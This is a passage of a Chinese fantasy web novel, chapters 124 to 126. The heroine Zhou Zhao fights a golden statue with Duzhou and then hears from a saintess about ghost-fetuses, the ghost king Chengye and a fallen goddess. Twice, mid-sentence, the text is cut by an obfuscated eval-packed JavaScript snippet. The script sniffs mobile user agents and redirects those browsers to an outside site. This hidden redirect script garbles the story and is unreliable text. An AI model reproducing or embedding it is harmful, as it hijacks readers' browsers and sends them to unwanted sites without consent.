渡舟笑笑:“我猜的。” 周昭跟渡舟相处这么久,也算咂摸出一些规律。渡舟常常见人说人话,见鬼说鬼话。感兴趣的多说两句,不感兴趣的闭口不谈。一般要是说猜的,那十有八九就是真的。 等他们走到离那石像五十余步,渡舟果然没说错。 这尊石像只有腰部以上露在外面,剩下半截身子都被掩埋在黄沙之中。而露出来的部分则像一个巨人,他的脸上长满了野草,看不清五官,右手举着一把同样巨大的石剑。 他们刚才看见的,就是这石剑的剑锋。 顾绍叉着腰站在她面前,才勉强到石像的胸口。他单手搭在额上,仰着脖子,道:“这谁塑的石像,完全看不出是个人嘛。” 顾绍说的不错,这石像只是模糊显露出人的形体,可见塑造这尊石像的人完全不得其法。周昭也尽力仰着头,她绕着石像转了一圈,渡舟道:“怎么了?” 周昭道:“十六,可否帮我个忙儿。” “乐意效劳。” 周昭想了想,问道:“你会不会飞?” 渡舟哈哈笑道:“那有何难?” 周昭道:“你能不能带我飞上去看看?” “好。”渡舟右手揽着她的腰,轻轻往上一提,周昭确信自己是第一次飞,但不知为何她对这种悬空的感觉并不陌生。 差不多离地一丈有余,周昭道:“好了。” 他们悬在半空,渡舟道:“明鸢,你是想看清这石像的脸?” “我总觉得,这石像有些眼熟......” “无妨,慢慢看。” “十六,你有没有觉得这尊石像有什么不对劲?” “嗯。”渡舟道,“好重的鬼气。” 二人正对着石像打量,忽然间传来一声尖叫—— “动了、动了!” “什么声音......”周昭低下头,见陆轻苹高声叫道,“石像动了!”周昭半信半疑地抬头,正对上那石像缓缓睁开的目光。 渡舟不慌不忙,仍旧揽着她的腰,低声道:“莫怕。” 石像不光睁开了眼睛,那原本深陷在黄沙中的下半截身子也轰轰隆隆地向外拔出来。他活动活动脖子,双腿一前一后地抬起来,身体嘎巴嘎巴地响,黄沙野草不断地从石像上细细簌簌掉下来。 周昭叫道:“小心!” 喊完才发现她的担忧完全是多余的,陆轻苹等人早就跑得老远躲了起来,如今还围绕在石像身边只有还悬在半空的她和渡舟二人。 渡舟心情很好地问道:“明鸢,你是关心我吗?” “你也小心。”周昭一本正经道。 渡舟笑容愈发浓烈,那石像越来越高,他们也越飞越高,始终和石像的脸持平却又保持了一定距离。石像的目光先是落在渡舟身上,她皱起眉头显露出很厌恶的样子,随即,又看向周昭,目光久久停留,周昭竟然从一尊石像的眼睛里看出了人的情绪,她试探问道:“我们......认识吗?” 话音刚落,对方便举起剑砸下来! 渡舟灵巧地避开,道:“来者不善呢。” 轰隆一声巨响,那石像的一条胳膊已经被打断在地。渡舟单手转着昆仲,自言自语道:“奇怪,昆仲竟然没反应。” 昆仲颜色未变,但一点儿亮光都没有,显得死气沉沉的。 周昭道:“十六,放我下去吧。” 渡舟低头看了看陆轻苹他们躲藏的方向,似乎有些犹豫,石像举着剑气势汹汹地跑来,渡舟才应道:“好。”周昭双脚刚一挨到地面,沈云起便好奇地问道:“阿昭,石像是谁?你们认识吗?” 陆轻苹没好气道:“别乱叫。” 周昭不以为意,回答道:“不认识。” 顾绍双手抱胸,一边观战一边点评道:“我说,渡舟下手也太狠了吧。”沈云起嘲讽道:“大将军去牵机营抓人的时候,也没见手软呢。”顾绍当场跳起来,悻悻道:“两码事,国师大人伶牙俐齿,当心陛下治你的罪。” “哪儿的话......”周昭说完,才反应过来顾绍口中的“陛下”不是叫她,一时有些尴尬,但面上却不露声色,也没多做解释。 那石像虽然巨大,行动却十分灵巧,他捡起被打断的一臂,喀嚓——重新安装在肩膀上,活动活动,竟又完好如初了。渡舟似乎有些厌倦,昆仲不能当法器用,便当趁手的兵器用,只见他举起昆仲,灵力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264255|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满灌,周昭心道:“这一掌下去,石像算是没命了。” 正这么想着,天空突然窜出来一团白乎乎毛茸茸的东西,恰好挡在渡舟跟石像之间。 般般!周昭吃了一惊。 “等等!” 渡舟强行收了势头,爆裂声在半空中炸开,巨大的反冲之下,他身子不由自主地向后退了两步。众人眼前硝烟散去,般般躺在地上抽搐,口中不断地溢出鲜血。 周昭心凉了半截,正欲跑上前,哪知石像突然发了狂,挥舞着双臂向他们砸过来。 身上的石块在这狂烈的暴怒中扑簌簌落下来,陆轻苹等人忙不迭地向外跑。“你们看!这不是石像!”沈云起回头道。 的确不是石像,而是一尊金像! 只是由于年代久远,金像上长满了黄沙石块,遮盖了本来的面目。眼下他身上的尘土被震掉个七七八八,才露出庐山真面目。 好一尊气势磅礴的金像!周昭感叹道。 哪怕她曾经身为帝王,见过的奇珍异宝不计其数,也从未见过如此巨大,又雕刻得十分精细的金像。日光底下金像熠熠生辉,折射出五彩的光芒。 那张脸也在这耀眼夺目的金光中逐渐显露出来——长眉入鬓,眼似秋月鼻高悬,神情冷傲,目光睥睨。黑气隐隐从金像透出来,明明是能天生克制邪祟的金像,却邪气四溢鬼气森森,处处透着诡异。 “好哇!竟是尊女人像!”顾绍兴奋道。 沈云起鄙夷道:“大将军,快收起你的眼珠子吧!” 金像目光低垂扫过他们一行人,周昭察觉到不对,惊愕道:“小心,这金像会法力!” 渡舟微微抬首,应道:“放心。”他将昆仲拎起来晃了几下,骂道:“废物,还不醒!” 霎那间昆仲光芒大盛,对面的金像亦毫不示弱,下巴微抬,眸光冷峻。周昭费力地抬着脖子望着那张脸,突然间,一个朦胧的画面显露在她的脑袋里。 我知道她是谁了。周昭挥舞着双臂,示意渡舟看过来:“她就是无支山的那尊玉像!” 渡舟满脸困惑,周昭道:“十六,你再仔细看看,这不正是你那位相好吗?” 渡舟听到这里也不打了,表情认真道:“殿下,莫要用这样的话寻开心。” 他目光专注,只落在周昭一人身上,仿佛天地间只有她一人值得自己注目。周昭被这沙漠的热气蒸腾得脸色发烫,定了定神,旋即叫道:“是真的,你看,她跟无支山那尊玉像是一个人。” 虽然无支山的玉像跟眼前的石像神情大有不同,但一个人的眉眼总归是不会变的。谁知,渡舟仍是不明白,问道:“无支山,有一尊玉像?” 他们说话的间隙,金像右手举起剑熟练地刺向渡舟。这跟方才的石像不同,剑光竟然迸发出同样耀眼的金光,渡舟用昆仲挡下这一击,但周昭明显看出他这一下挡得并不如从前那般随心所欲。也就是说,这尊金像的法力足够强大到能与渡舟匹敌。 周昭一颗心高悬,心道:“纯金能辟邪驱魔,故而妖物从不会用纯金打造武器。这尊金像却有如此高深的法力,显然不可能是寻常妖物。难道是......”周昭刚想到一种可能便打消了念头,“这金像虽然光芒耀眼,但煞气极重,不似神像。” 渡舟挡在他们身前,向后看了看:“你们走远点。” 周昭还是第一次在渡舟脸上看见如此凝重的表情,沈云起拉着她向外走,却拉不动,劝说道:“走吧,在这儿只会成为主君的累赘。” “你们先走吧。” “可......” 正说着,消失许久的烛龙哭天喊地地跑出来,他上半身是人形,下半身还未来得及化形,拖着长长的赤红色尾巴,像一缕红烟飞快地蹿到金像脚边,叫道:“神女大人!手下留情!” 神......神女? 众人不解。 金像似乎勾唇笑了笑,下一瞬,便抬掌毫不留情地劈下去。电光火石间,昆仲一巴掌将痛哭流涕的烛龙拍到一边,渡舟冷声道:“滚远点儿。” 烛龙打了个滚儿,见劝不动金像,又游到渡舟身边,苦口婆心地劝道:“渡舟,别跟神女大人打了行不行?你伤势还没好,会出大事的!” 周昭弯下腰拎住烛龙的赤红尾巴,蹙眉道:“什么伤?渡舟怎么了?” 渡舟侧目道:“别听他胡说!明鸢,你站远儿点。” 烛龙扭着身子,求救般看向她,道:“那个谁,周昭。你劝劝渡舟,再打下去真的会出事的!” 他们七嘴八舌说个不停,金像却不耐烦了,她双手举起剑,比太阳光还要刺目的灵力爆发聚集在剑身,烛龙咬牙道:“都不听我们,你们去死好了!” 说完他灵巧地钻进地底下,尾巴顺势卷走了奄奄一息的般般。 几乎是烛龙刚消失,震耳欲聋之音便在耳边炸开。一时间风沙走石,天地色变。周昭刚想说话便被灌了满喉咙的沙子,劈头盖脸的沙砾打得她太阳穴阵阵发痛。 “十六!”周昭哑声叫道。 似乎有人应了一声,也好像没有。 周昭两眼一黑,掉进一个深不见底的窟窿。 125. 第 125 章 没有想象中的痛感。 周昭掉进软绵绵的黄沙里,头顶漆黑一片,周遭鸦雀无声。周昭撑着双臂想站起来,却从身边摸出来一个硬硬的东西。这是什么?她用手拍了拍上面的尘土,双目渐渐适应洞中的黑暗,墙上的幽煌虫默默地散发着明黄的柔光,周昭捏着那块“石头”掂了掂,心道:“不会这么巧吧?”她下意识地用手摩挲,果然让她摸到了一些凸出来的纹路。 还真是这么巧。 周昭手中拿着的,正是当年她掉进洞穴中,无意间发现的那块方方正正的玉石。 她摸索着爬起来,抬头再看,果然什么光亮都没有,暗道:“如果真是当年那个洞,这里必定有条水路通往出去的地方,也不知道渡舟他们如何了。” 她又借着朦胧的幽煌光芒低头看了看玉石,自言自语道:“既然你我这么有缘,不如就将你带出去,看看外面的世界。” 她将玉石揣进怀里,不再犹豫,朝着记忆里的方向往洞外走。 约莫走了一炷香的时间,周昭终于寻到一条河道。但时过境迁,河道已然干旱,只剩下一些龟裂的泥块弯弯曲曲地向外延申,像一条受了伤的花斑蛇。 周昭沿着这条旧河道一直走,越往外走脚下的泥土越湿润,等到一束刺目的亮光照在洞口那一方小小的泥泞地上,周昭弯下腰钻出来,看见一千多年前那些奇形怪状直入云霄的山峰依旧威严耸立,不由一股莫名的悲怆漫上心头。 瀑布没有了,从前那条宽阔丰盈的碧绿色大湖也不见踪影,取而代之的是几处浅浅的不深不浅的潭水,宛若几面清澈的镜子折射着太阳的光芒。 有了前车之鉴,周昭时刻提防着有人偷袭,但一直到她从这些洼地里完全走出来,也没有那些哇哇乱叫的野人踪迹。她捏紧怀中的玉石,一时间有些分不清方向。当年周昭二人是被很不体面地困在渔网里拖到山中,后来又被蒙住双眼带到行人岭,如今再让她找回去,却难了。 巨大的山谷翠色苍郁,清脆的鸟鸣声在这空旷的天地之间幽幽鸣响。 突然,周昭眼前出现了一只红色飞虫。 这虫,周昭可再熟悉不过了。 她跟着那虫子一直往山谷肚腹深处走。走出几百步,渐渐阴冷起来,不时有凉丝丝的水雾蒙在她脸上身上,飞虫时远时近,若即若离,等到浓雾完全将眼前之景包裹,周昭感觉自己像是掉进了一个泡在水里的巨大蚕蛹,这些高山跟记忆中的样子分毫不差,全都是用怪异的巨石积而成山。 山与山之间用于连通的铁索还在,不同的是这些铁索都锈迹斑斑,有的已经断成几截,腐朽的木板破破烂烂地悬挂在半空。 这里竟然一个活人都没有。 周昭捏紧怀中那块玉石,那些男女老幼欢呼声,山野为之震动的鼓声,长发坠地的少女起舞,古老神圣的祭祀之景仿佛历历在目,冷雾扑面,周昭如梦初醒。 她站在半山腰上,对面就是行人岭神殿,周昭不再往前走了,高声道:“阁下还不现身?” ——嗖! 神殿里飞出来一支亮晶晶的短箭一样的东西,周昭转身接住,手心赫然是一只长长的金簪。 周昭自言自语道:“哦,原来是故人。”她足尖轻点朝对面飞去,间或足尖踏中几段铁索,果然摇摇欲坠,被她一踩便发出一声脆响掉进山谷去了。 周昭在神殿门口停下,空灵的声音自殿内传来:“你的功夫还是那样好。” 声音之后,女子赤足而出,发丝长长地拖在脚边的红色裙摆上。 一千多年的光阴并未在她脸上留下丝毫踪迹,她的肤色依旧雪白,一双碧绿色的眼睛毫不掩饰地望过来。 周昭很有礼数地点头致意道:“过奖了。” 圣女并未对这句话有什么表示,甚至对于周昭的到来也并没有表现出多大的意外。她只是安安静静地盯着周昭的脸看,甚至慢慢挪动着双脚,绕着她转了个圈儿。 周昭虽然笃定她不会对自己动手,但这样被人直勾勾地盯着看,总觉得不大自在,终于在圣女绕着她开始转第二圈的时候喊了停,道:“你找我?” 圣女终于在她面前停下,把自己的长发撩到身前,理直气壮道:“你走之后,没人给我挽头发。” 神殿内,圣女安安静静地坐在石凳上,周昭站在她身后,实在想不通哪里出了差错。 这神殿跟周昭想象中差得很多,外头瞧上去金碧辉煌,里面虽然大,却空空荡荡。 最醒目的是一尊神位,却没有神像,亦没有牌位,只有香炉里聊胜于无地插着三柱香,冒着袅袅青烟。除此之外便是一张铺着兽皮的圆床,一只石凳——就是圣女坐着的这只。 连周昭手中这把梳子,也是把十分粗糙的木梳。 想来这世间让周昭这位皇帝亲自梳头的,也唯有眼前的少女一人。但周昭并不觉得反感,反倒生出几分怜惜。 她一边梳头,一边道:“我能否问几个问题?” “是我引你来的。”圣女直言不讳道。 如此坦诚反倒省去周昭很多麻烦,她又道:“当年也是你引我们前来的吗?” 谁知圣女摇头道:“不是啊,当年是你闯进来的。” 周昭心中了然,不是圣女,那便是萧十六。 不过她早对当年萧十六故意接近的事放下,听完也没多大感觉,继续问:“你知不知道这里离安县有多远?” “安县?没听说过。” “也叫食人坡,那里有一片荒漠。” “没去过。” “你难道从未走出这里吗?” 圣女点点头,道:“是啊。” 周昭一时无话,愈发仔细地为她梳头。但周昭生来就不是做这种事的人,她只有在北疆军中那两年自己梳头束发,那都是极简单的男子发式,如今为女子梳发髻,实在手生,勉勉强强才挽了个稍微能看的样式。 她又觉得过意不去,将自己头上本就不多的银钗玉簪为她装点上,等周昭拿出那根当年送给圣女的金簪时,对方道:“不必了,物归原主。” 圣女似乎心情十分愉悦,对着那面照不清人影的铜镜看了又看,二八少女的天真与行人岭大雾弥漫下固有的苍凉,并不冲突地显露在那双碧绿色的眼睛里,周昭感叹道:“真美。” 圣女转身道:“是吗?你也很美。” “我还有一个问题。” “你问吧。” “这里应该有一位神女,你听说过吗?” “没有。” 周昭缓缓吐出一口气,再问:“你跟十六,是什么关系?” 圣女并没有很快回答。 “好吧,你不想说,那我换个问法,你只需要回答我是或不是。”周昭见她没有反对,便问,“你跟十六从小便认识,是吗?” “是。” “你们来自同一个地方?” “是。” “你们有共同的敌人?” “是。” “你们的敌人,名为成业。” “......是。”圣女眨了眨眼睛,“你很聪明。” “你们有共同的父亲,也是成业?” “不,这么说不完全对,成业并不是我们的父亲。”圣女道,“他们说,成业已经死了,一只鬼是不会有后代的。成业从外面抓来很多怀孕的女子,再将自己的精魄鬼气分出一缕钻进她们的肚子里,生下来的便是我们这样的鬼胎。鬼胎会吸干母体的血肉,一落地,母体便会死。我们每个人都是这样在出生时杀掉了母体。所以我们既没有父亲,也没有母亲。” 她说这些话时脸上的表情始终淡淡的,甚至于周昭感觉她谈及“母体”二字时,丝毫没有对于母亲这个词汇该有的情绪。于她而言,那仅仅是个素未谋面供给血肉的躯体。 她吃掉了她,所以生。 “父亲”又会吃掉她,生来即等待死。 周昭听得心惊,眼前的女子让她想起了第一次见到的渡舟。鬼胎没有人性,没有情感,甚至没有情绪,他们早在母亲的腹中便开始杀人,周昭追问道:“渡舟现在有危险吗?” “我想,成业之后,便没有什么能让他感到危险了。”圣女道,“除了你。” 周昭刚刚平复的心又因为后面半句话泛起波澜,圣女把玩着发丝,道:“反正我是不明白,随便。” 她示意周昭坐在那张圆床上:“你都猜对了,我跟他从小就认识。不,准确来说,我们是同一天出生的。你去过无相渊吗?那里终日业火熊熊,成业的宫殿也像深红色的深渊巨口。我自从有记忆开始就被关在地下,我跟......你叫他十六?好吧,我跟十六被关在同一处,跟我们一起的还有其他几个,我记不清了。听年纪大的孩子说,等到我们这些人长到二十岁,成业便会从里面挑出一个喜欢的身体,作为自己新的肉身。” 周昭想起了渡舟跟她说过,昆仲就是这样炼出来的。 “我反问他们,我是女的,难道成业会喜欢女孩儿吗?他们不怀好意地笑说,那你可就惨啦!成业会把你扔进无相渊底喂妖兽。我们每日除了修习法术,还要互相搏杀。我们生下来就没见过外面的世界,所以理所当然地认为世界就是无相渊,无相渊就是整个世界。人活着,就应该是这么……”她的脸上浮现出迷茫,似乎不知道该如何表达自己的情感,索性跳过不说。 “直到有一天,隔壁关进来一条赤红色的蟒蛇。他受了很重的伤,盘成一团足有人高。我们都当他死了,可过了半年多,那条蛇突然活了过来。他说自己不是蛇,是龙,甚至变出龙角给我们看。我们第一次见到真龙,每个人都很兴奋。直到角落里传来一个声音,问蟒蛇:‘你从哪里来?’” “我随口答道,‘当然是从外面来。’” “那声音继续问:‘外面,是什么样子?’” “这句话将我们所有人都问住了。外面,是什么样子?难道不是黑漆漆红彤彤的样子吗?我回头看,看见一双平静得像个死人的眼睛。我被他眼中的凶狠吓了一跳,但那双眼睛也深深地刻在了我的脑海里,我记起来他就是跟我同一天被送到这里的那个男孩儿,编号十六。也就是说他是第十六个有可能会被挑选为成业肉身的幸运儿。而我,则是第十七个。” 圣女露出天真的笑:“我心存幻想,认为成业当男孩当腻了,兴许有一天会考虑变成我这样的女孩子。” 周昭难以置信道:“你们心甘情愿为成业而死?” 圣女近乎虔诚道:“那时候在我们心中,成为成业,是一种至高无上的荣耀……只有一个人例外。” “十六?” 圣女点点头,继续道:“那蟒蛇的话又多又密,讲了许多......嗯,外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268991|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的事情。他说外面的天空不全是黑色,是蓝色的,偶尔也会是白色。外面的山不是滚烫的,而是长满绿色的树。外面的湖泊不是红色,而是碧色。对了,烛龙说到这里停下来,看着我道:‘就像你的眼睛一样。’总之,每个人心中都有些不一样的感觉。至于我,心里痒痒的,我想去看看跟我的眼睛一个颜色的湖泊,是什么样子。” “十六呢?” “他?他就像个木头,从来不跟我们一起玩,总是一脸老成地独自坐在角落里。但他修习很有天赋,不管教什么,他总是第一个学会的。不过没有人跟他说话,也没有人敢跟他说话。” 周昭听到这里心脏有些紧缩,忍不住问道:“为什么?” 圣女看了她一眼,道:“我们之中有人某一天问他为什么学得这么快,有什么秘诀,他不理,对方便往前走。谁知刚走近,就被他打翻在地。他下手极重,一出手便是奔着将人打死去的。久而久之,没人敢再跟他说话了。” “后来呢,你们怎么逃出来的?是烛龙带你们逃出去的吗?” “烛龙是什么?”圣女问道。 “就是那条赤红色的蟒蛇。”周昭语气急促,迫切地想知道后面发生了什么。 圣女换了个姿势,双手托腮趴在桌上,道:“我不知道,也许是吧。反正某天夜里我睡得正香,却看见一团黑乎乎的人影轻手轻脚地从我身边走过,我睁大眼睛,忘了叫人。那人影一把捂住我的嘴,我才看清是十五。他小声道:‘别出声!否则杀了你!’我一点儿也不怕,恶狠狠地瞪回去。” 圣女做了个双目圆瞪的姿势:“他举起一把闪着寒光的刀,我横着脖子让他砍,不知为何他却没动手,他看着我的眼睛,低声问道:‘你想不想跟我一起走?’” “‘去哪儿?’我问。” “他说:‘去跟你眼睛颜色一样的湖泊。’” “我心动了。我们逃出无相渊后,烛龙神神秘秘地将我们藏在一个全是长方形棺材的地方。不知道过了多久,我从那黑漆漆的棺材里面钻出来,走出洞口,我的眼睛因为刺痛而流泪,我真的看到了蓝色的天空,白色的天空,长满绿树的山,碧绿的、碧绿的湖泊,它们像无相渊那些冷掉的五颜六色的火焰,在我眼睛里浮动。”圣女的眼睛里闪烁着光芒,“那是我第一次见到无相渊外面的世界。我跟他们说我不走了,我喜欢这片湖。” “你说的地方,就是行人岭,对吗?”周昭隐隐约约感觉圣女说的那片湖,就是他们当时从瀑布里被冲出来时掉进去的地方。 “没错,我在这里住了快两千年。” 周昭一时大为震撼,好一会儿才道:“为什么?你不想去别的地方看看吗?” “为什么要去别的地方?”圣女困惑道,“我喜欢这里。” 周昭感叹道:“世人多贪心,岂不知知足才能常乐,这话一点儿没错。” 圣女又慢悠悠道:“再说这里有个绝无仅有的好处,成业永远不可能找到。” 周昭收回浮想联翩:“为什么?总不至于成业害怕疟鬼。” “秘密。”圣女神秘地眨眼,“你会知道的。” 周昭算了算时间,也就是说渡舟自从走出无相渊,便一直住在无支坟。 她又问:“可我第一次见到十六,他只有……”周昭比了个齐腰的姿势,“大概这么高,七八岁的样子,难道你们当时从无相渊出来,只有这么……嗯……” 周昭实在很难想象那么小的渡舟是怎么逃出来,哪怕知道鬼王成业的后代不能按人的年龄计算,她仍然觉得不可思议。 “因为无相渊没有……那个,啊对,没有太阳,我们长大得很慢,其实我们在那里已经待了上百年。” “后来你再见到十六,就是我来行人岭那次吗?” “嗯,没错。” 尽管已经猜到答案,周昭问了个连自己都觉得很不可思议的问题:“他当年就是想杀成业?” 圣女露出嫌弃的表情,翻了个身,望着头顶的山洞,道:“传说成业在血月之夜,魂魄会回到死的那天的状态,没有法力,就像寻常人。蠢得要死,竟然相信这种鬼话。” 周昭后背冒出一层薄汗,虽然传言是假,但渡舟那晚引来了成业却是真。如今想想,渡舟恐怕最后关头才发现,成业并非传言中那么虚弱不堪,故将他们的船送走。 “后来呢?他又被成业抓走了?” “我救了他,算是感谢他当年送给我那片碧色湖。不过他受伤很重,法力尽失。成业眼睛很尖的,被发现便是死路一条。我问他要不要留在行人岭,他伤没养好便走了。后来听说成业死了,我便知道动手的那个人一定是他。” 受伤很重,法力尽失。 “......他......在行人岭待了两年,对吗?” “是啊,两年。” 两年后晋川大捷,她班师回朝,遇到了裴砚。 三年后,裴砚身中数箭而亡。 烛龙说,渡舟早就死了。 是死在那时候吗? 渡舟是人,死后也应该是鬼,为何会变成槐妖...... “你怎么了?”圣女歪头问道。 “没什么......”周昭勉强理了理乱成一团麻的思绪,别过脸,“我还有最后一个问题……这一回,是渡舟让你引我前来的吗?” 126. 第 126 章 圣女错愕道:“你如何知道的?” “疟鬼混在魂片尸潮中来到无相城尚可理解,但既然疟鬼是假的,渡舟不可能看不出来。再说,无支山能在地下行走自由,不受成业控制,但有一个地方无支山去不得——无相渊。否则,烛龙也不至于被关在无相渊那么多年。所以当年渡舟是先从无相渊逃出,再横渡食人原,通过那里进入无支山躲避成业。” “如此重要的决定,我想不可能随便选一个地方,哪怕渡舟从没踏出过无相渊,烛龙也一定十分熟悉食人原。他们都知道食人原除了那些长埋黄沙的半尸,还有一位......神女。” 从疟鬼来到无相城周昭便有所怀疑,直到来了行人岭,先是渡舟装作对石像毫不知情,再是烛龙称其为神女,周昭愈发笃定,引自己来行人岭的不是圣女,更不是什么挽发梳头的理由,而是渡舟。 至于渡舟跟神女为什么突然打起来,周昭尚不明白。 听她说完这些,圣女的脸上浮现出半信半疑的态度,她困惑道:“你说的我不完全懂,不过,你是对的。” 周昭又道:“渡舟让你引我来,总得有个理由。” 圣女笑了笑,道:“也许只是他不好意思对你讲从前的丑事呢。” “不。”周昭正色道,“这不是丑事。这是......苦难。” 圣女无所谓道:“随你怎么讲,他如果知道我告诉你这些,一定要杀了我。好吧,说正事。从哪里说起呢......就从你熟悉的说起吧,既然你是中原王朝的皇帝,一定知道那著名的藩相乱政。” “知道,成祖皇帝十五登基,及冠那年藩王李巡、丞相高子明谋反,成祖杀藩相、收兵权,此后......” “停,到这里就可以了。”圣女似乎对这些朝堂之事有些头痛,“我没见过大周,也不认识你们的藩王丞相,但我知道真正的藩相乱政。” “真正的藩相乱政?” 圣女意味深长地看了她一眼,道:“你可知道数千年前,这世上真的有一位神女,名为旱魃。” “神女?传说旱魃不是一只能引发旱灾的女鬼僵尸吗?” “当年混沌初开,世人皆知神兽毕方收服妖兽,却不知与毕方终日相伴的还有一位神女。神女名为青葵,在大战中被业火所伤,从那以后她便成为了所到之处寸草不生的妖怪,人们起初叫她女鬼青魁,后来称呼她僵尸旱魃。” “神女受尽世人白眼,终于心灰意冷,她不愿为人们带去灾祸,于是来到茫茫大海边,希望大海能够扑灭她身上的业火。神女行至大海,海水沸腾,鱼虾浮肚,她连忙离开,一直跑到了大海的尽头,那里人烟罕至,神女便在此地常住。久而久之,那里变成了一片荒漠,神女为了不让荒漠继续向绿洲侵蚀,于是自毁神脉。” “就在她堕神后的第二年,一位年轻的帝王行军途径荒漠,偶见神女,惊为天人。神女青葵不为所动,皇帝便在荒漠修建了一座金碧辉煌的神殿,不仅如此,他还为她塑像,让周围的百姓都来跪拜。神女终于被帝王的诚心打动,但天不遂人愿,虽然神脉已毁,神女身上的业火却像一个诅咒,一旦她踏出荒漠,绿洲便会变成黄沙。你们有句古话,叫国不可......” “不可一日无君。” “对。皇帝离开了,发誓会找到解救神女的办法。神女等了一年又一年,她没有等来皇帝,却等来了拿着圣旨的两个陌生人。他们称呼她为妖孽旱魃,下令处死了神女。原来那两人是为了谋反,但又忌惮神女的力量,才假传圣旨杀掉她。赶来的皇帝大怒,将二人就地凌迟处死。神女的尸身化作一片茫茫大海,燃烧了千年的业火终于熄灭。从此,世上再无神女青葵。” 左手拈花,右手执剑。 无支山那尊玉像跟食人原上的金像渐渐重合,周昭好像看到悲天悯人的神女青葵微微睁开眼睛,朝着她微微一笑。她心情久久不能平复,尽管已经知道答案,还是问道:“这位帝王,就是成祖周戈言,对吗?藩相二人,便是三苗之地的二鬼。” “是的,丞相高子明就是魇鬼,藩王李巡,则是魍魉。” 怪不得,魇鬼丹妙那日提及成业,表情会如此古怪,言语间又是如此熟悉。 恐怕……丹妙跟渡舟早已安排好,将她引来此处。 这里,到底有什么? “那疟鬼呢?” “别急。”圣女站起身,伸了个长长的懒腰,双眼朦胧,似有困意。 “皇帝南征北战,十年后,只剩下一处让他夜不能寐。那小国识趣地前来朝拜,求娶一位公主以结两国姻亲。皇帝欣然应允,谁料和亲公主被凌辱致死,朝野震怒,皇帝出兵攻伐。三年后,皇帝终于一统天下。而那个被灭掉的小国子民,则被驱逐到曾经处死神女的那片荒漠。” “荒漠寸草不生,活下来的人便背着同伴的尸体向东走,他们惊讶地发现荒漠外竟然有一片密林。这些人在密林安家,但死尸经过长途跋涉早已腐烂发臭,成堆的尸体引发瘴气,经久不散。人们只好舍弃同伴,在崇山峻岭间搭起铁索桥梁。久而久之,那些谷底的尸体便成了疟鬼。” 一个可怕的设想在周昭脑海里渐渐成形。 史书上写,月临是被黄沙掩埋。 但如果不是呢?如果这个故事里的国家就是月临,瀛洲……白赭……于南桑……这之间究竟有何关联? 神女青葵,周戈言,堕神图,疟鬼,于南桑...... 成祖灭了月临,疟鬼对大周恨之入骨,诅咒她众叛亲离永世堕鬼……然后呢? 然后山洞坍塌……禁制……她自以为是将疟鬼带回盛都关押在龙脊山……龙脊山! 之后便是槐鬼现世…… 成祖皇帝尸身不在皇陵……鬼王成业被五马分尸……东华神君将其封印无相渊…… 刹那间心明如镜,前世的困惑突然间拨云见日,一切事情都天衣无缝地串了起来。 周昭叫道:“成业!莫非鬼王成业就是周戈言?” 圣女略一思索,道:“我并不认识周戈言。你觉得是,那就是吧。” 世人敬仰的成祖,一统天下的帝王。 杀人如麻的成业,令人胆寒的鬼王。 周昭很难形容此时的感受。 周家的祖先,无相渊的厉鬼,多可笑的真相。如果这些都是真的,那么当年将槐鬼亲手引入盛都的人,就是她周昭。 还有最致命的一点,周昭甚至不敢继续往下想。 她听见自己的声音在发抖:“……渡舟为什么不自己告诉我?” 也许是周昭脸上的神情有些凄凉,圣女那双碧绿色的眼睛里,竟然流露出一丝稍纵即逝的怜悯。 她引着周昭往外走,赤裸的脚踩在松软的兽皮上,淡淡道:“不久前,有个男人来找过我,是他告诉了我行人岭的秘密。” “秘密?” “那一回我看见了蟒蛇口中所说的太阳,太阳光照在我身上,暖洋洋的,远不及无相渊的烈火滚烫。你知道我看见了什么吗?既然我戴了一千多年你的金簪,作为回报,我便也让你看看。” 她说着,牵着周昭的手飞到对面,随后抬袖挥去雾气浮云。 她们落地的位置正好是周昭来时站的位置,正对着神殿入口。殿内香炉袅袅,那层掩盖在石山上的面纱终于缓缓褪下,先是鼻子,再是眉眼。 等到只剩下几缕轻薄的雾气还流连遮掩之际,周昭陡然睁大眼睛,她向前奔了几步,又堪堪在万丈深渊前停下,嘴唇无声地翕动着。 ......师父。 阳光宛如利箭刺透稀薄的云层,石山显露出的人脸沉默地注视着对岸的女子。 他仍是一成不变的清俊好看,唇角不上扬也不下垂,双眸既没有浓烈的欣喜,也没有淡淡的忧伤。 他仅仅是面容平静,神态从容,眼中仿佛能容纳这世间所有的苦难与污浊。 神殿并非没有神像,而是神容纳百川。 周昭如今终于知道,为何师父的眉眼总是压着一缕若有若无的愁苦,那里面盛着一国的深仇大恨,装着面对仇人的压抑克制。 她明明已经猜到答案,明明已经心痛难忍,却还是存着一丝希望,就像站在阴冷的山谷中渴望头顶的阳光,她听见自己的声音沙哑地问道:“这石像,是谁?” “是行人岭这些男女老幼,奉若神明的殿下。” 周昭脸色煞白,心如死灰。 她不懂。 既然师父与周朝之间有过那样的血海深仇,为何又要千里迢迢来到盛都。 既然师父心怀仇恨,为何又要教她明事理断善恶。 既然师父不能放下,为何又要教她一切皆是虚妄。 ...... 周昭心中千种思绪万般情绪一齐翻涌,捣得她五脏六腑生疼,眼睛热辣辣的。她有千言万语想问,但石像如何听见她的问题,看见她的痛苦。 “问完了吗?”一个苍老的声音陡然响起。 